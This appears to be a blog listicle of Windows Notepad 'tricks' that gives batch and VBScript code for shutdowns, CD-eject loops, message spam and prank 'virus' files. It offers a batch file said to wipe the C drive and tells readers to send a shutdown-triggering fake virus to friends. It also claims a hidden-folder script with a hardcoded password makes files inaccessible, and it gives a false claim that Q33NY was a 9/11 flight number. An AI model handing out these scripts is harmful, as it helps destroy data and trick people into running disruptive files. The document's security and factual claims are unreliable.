How To Notepad Tricks

Top Cool Notepad Tricks and Hacks You Must Try

Computers and Laptops can be found in almost every home now a days, and the most amazing part about computers is that most of them runs on Windows operating system. There are a lot of things which you can do with computer, but there are some basic things which you should know.

People buys computer for a particular purpose, like some people buy it for playing games, while some buys it for business purpose. Whatever may be the reason, there comes many times when you get bored with the things you have in your system, and look for some tweaks and tricks that you can do on your system to pass some time in a fun way.

Top Cool Notepad Tricks

If you are the one who want to try out some fun things on your computer, then you have landed on the correct page as here in this post we are going to show you some of the super cool notepad tricks which you should definitely try on your windows system.

We all know that Notepad is the simplest text editor by Windows, but using some commands, you can make it even more productive for you. So just read these cool Notepad tricks and hacks and try them out yourself on your machine.

Top Best Notepad Tips Tricks and Hacks

Create Diary On Notepad

This is one of the most amazing notepad hack which you must try today. Most of the people are still unaware about that they can use notepad to create a diary, which adds the date and time stamp on its own. To perform this notepad trick, follow below steps.

  • First of all, open Notepad.
  • In the first line, type .LOG
  • Now save this file as txt
  • Try writing anything in this file and you will notice it being saved with the edited time as well as the date.

notepad diary

Shutdown Your Windows PC Using Notepad

This is a notepad trick which you will find helpful many times. There comes many times when you are not able to shut down your computer using the shutdown button, in that case you can use this trick to shut down your pc super-fast.

  • At first, open Notepad.
  • In the first line, type @echo off
  • In the second line, type msg * Shutdown computer
  • In the third line, type shutdown –c “Sleep Tight” –s
  • Save this file with .BAT extension (to save file with .bat extension, you have to select file type as All Files from the drop down)
  • The next time you will click on this file, Windows will get shutdown automatically.

shut down pc

Create A Password Protected Folder Using Notepad

Protecting your folder with a password can be helpful so many times, and relying on softwares can get you down anytime as there are so many password manager softwares out ther which uploads data on their servers, so this can’t used when keeping security in mind. To lock folders using notepad, you can follow below steps.

  • Open a new document in notepad.
  • Now copy the below code as it is into it.

@ECHO OFF

title Folder Private

if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK

if NOT EXIST Private goto MDLOCKER

:CONFIRM

echo Are you sure you want to lock the folder(Y/N)

set/p “cho=>”

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

echo Folder locked

goto End

:UNLOCK

echo Enter password to unlock folder

set/p “pass=>”

if NOT %pass%== 123456789 goto FAIL

attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Private

echo Private created successfully

goto End

:End

  • Here, the default password is “123456789”. Change this with your own new password.
  • Select File Type as All Files (*.*) and save it as private.bat
  • When you will click on private.bat shortcut, it will create a private folder. You can move all your confidential files here.
  • Once done, close the Private Folder
  • Now, no one can access this folder without knowing the password.

Continually Pop Out CD Drive Using Notepad

Do note that it is a notepad hack which should be performed by keeping caution in mind. Doing this funny notepad trick, the CD Drive of the system will keep popping out until you restart your system. So, before doing this, make sure you have access to restart your system. Just follow below steps to do it properly.

  • Open a new notepad file, and copy paste the below commands in it.

Set oWMP = CreateObject(“WMPlayer.OCX.7”)

Set colCDROMs = oWMP.cdromCollection

do

ifcolCDROMs.Count>= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

  • Now save the notepad file with a .VBS extension (to do this write a name for your file and add .vbs just after the name, and in file type option, chose All Files from the drop down menu.
  • When you will double click on the file the CD drive of the system will continually pop out.

Test Your Anti-Virus Using Notepad

You can also test your anti-virus program for its effectiveness using a simple notepad trick. Follow the steps below to know more:

  • Open Notepad.
  • Copy the code give below in the notepad file:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

  • Save it with an .exe extension like testvirus.exe

As soon as you save this file, your anti-virus program will detect the file (virus) immediately and will attempt to delete it. If this happens then your Antivirus is working properly. If not, then it’s time to look for some other reliable program.

Creating a Virus that Format C Drive

In this trick you will create a batch file virus which will able to format whole C drive of your computer. This virus is simple to create but very dangerous, so before use this think about it.

  • Open notepad and paste the below code on it.

@ECHO OFF DEL C: *.*|Y

  • Save the file with .bat extension like virus.bat and when you run that file it will format the C drive.

Be careful with this trick. It will deleted all your your data from c drive.

Dancing Keyboard Led

In this trick you will see your keyboard led will dancing continuously.

  • To do that open notepad and paste the below code on it.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

  • Now save it with .vbs extension like dance.vbs and run the file.
  • If you want to stop it then open Task Manager by pressing ctrl + shift + Esc.
  • Now switch to process tab and search wscript.exe and end it.

World Trade Center Attack Image

You must know the attack of the World Trade Center on 9/11. The flight number of plane was Q33NY and in this trick you will see the same image like when world trade center get attacked.

  • Open the notepad and type Q33N (in capital).
  • Now increase the font size to 72 and change the font style to Wingdings.
  • Now you can see the Below image.

WORLDTRADE

We call this trick a coincident or anything but it will amaze you and your friends.

Repeating a Massage continuously

Using this trick you can force anyone to restart or logoff his computer, because this trick repeated a massage continuously.

  • Open notepad and paste the below code on it.

@ECHO off
:Begin
msg * Hi
msg * Welcome to Tricksforums
msg * Lets start the fun
GOTO BEGIN

  • Now save it with .bat extension and run the batch file.

Create A Batch File Virus Using Notepad

This is the funniest Notepad prank. The best thing about this prank is that it looks like an actual virus attack. If you have a good antivirus then it detects this fake virus as a Trojan. Now follow the steps.

  • First of all go to Run and type Notepad and hit Enter. Notepad will appear.
  • Now copy the below code and paste it into Notepad.

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -s -t 10 -c “Your computer has committed to death. Have a nice day.”

  • Now save the file with .bat extension like virus.bat
  • Now send the file to your friends and told him to Run the file.

create virus

Create a Virus Vith Virus Message

This is another funniest prank. When your friend will launch the file then a pop up would come up telling him a virus has infected his computer and that he has to delete all his files. I assure you that it will do absolutely nothing to your or your friend’s PC. Now follow the steps

  • Open the Notepad. Now copy the below code and paste on Notepad.

Msgbox “Your computer has been infected by a virus”,16,”Warning !”

dim x,yes,no

x=Msgbox(“Virus has infected hard drive (C:). Deletion of the virus will require complete formatting of hard drive (C:). Would you like to format hard drive (C:) ?”,52,”Warning !”)

if x=6 then

dim box

box=Msgbox(“Hard drive (C:) formatting complete. In order to function correctly your computer must restart, would you like to restart now ?”,36,”Formatting has been completed”)

if box=6 then

Msgbox “Fatal error, code 08×48631643.B-7″,16,”ERROR”

Msgbox “Just kidding, this was all a joke, but i did scare you didn’t I ? Ha ha…”,64,”Made by Pabitra”

end if

if box=7 then

Msgbox “Fatal error, code 08×48631643.B-7″,16,”ERROR”

Msgbox “Just kidding, this was all a joke, but i did scare you didn’t I ? Ha ha…”,64,”Made by Pabitra”

end if

end if

if x=7 then

Msgbox “Fatal error, code 08×48631643.B-7″,16,”ERROR”

Msgbox “Just kidding, this was all a joke, but i did scare you didn’t I ? Ha ha…”,64,”Made by Pabitra”

end if

  • Now save the file as .vbs extension like Virus.vbs. 

If you run the file it will show you a warning message that your computer has been infected by a virus

Conclusion

Notepad can be used to do many things including making batch files to run commands. This was a list of top 10 cool notepad tricks which you might want to try out on your windows computer too. Do note that there are many more similar notepad tricks hacks available out there, which you can also try. If you know about any other working notepad tricks, then do let us know about them via comments below.

1 Comment

Leave a Comment